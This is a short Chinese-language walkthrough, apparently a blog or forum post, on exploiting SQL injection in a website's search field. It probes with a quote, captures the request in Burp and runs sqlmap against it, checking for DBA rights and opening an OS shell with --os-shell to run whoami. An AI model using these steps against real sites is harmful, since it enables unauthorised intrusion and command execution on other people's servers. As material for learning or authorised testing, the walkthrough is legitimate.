首先打开网址，找到搜索条，在搜索条里加入',发现页面出错，打开burp抓包，会看到那个参数的名字，这个时候，我们把整个消息报头粘出来，在有问题的参数那里写个* 大概就是这个样子 然后sqlmap -r 文件名.txt 发现有注入 sqlmap.py --is-dba -r 1.txt 查看是否是dba权限，发现是dba权限 sqlmap.py --os-shell -r 1.txt 输入命令whoami
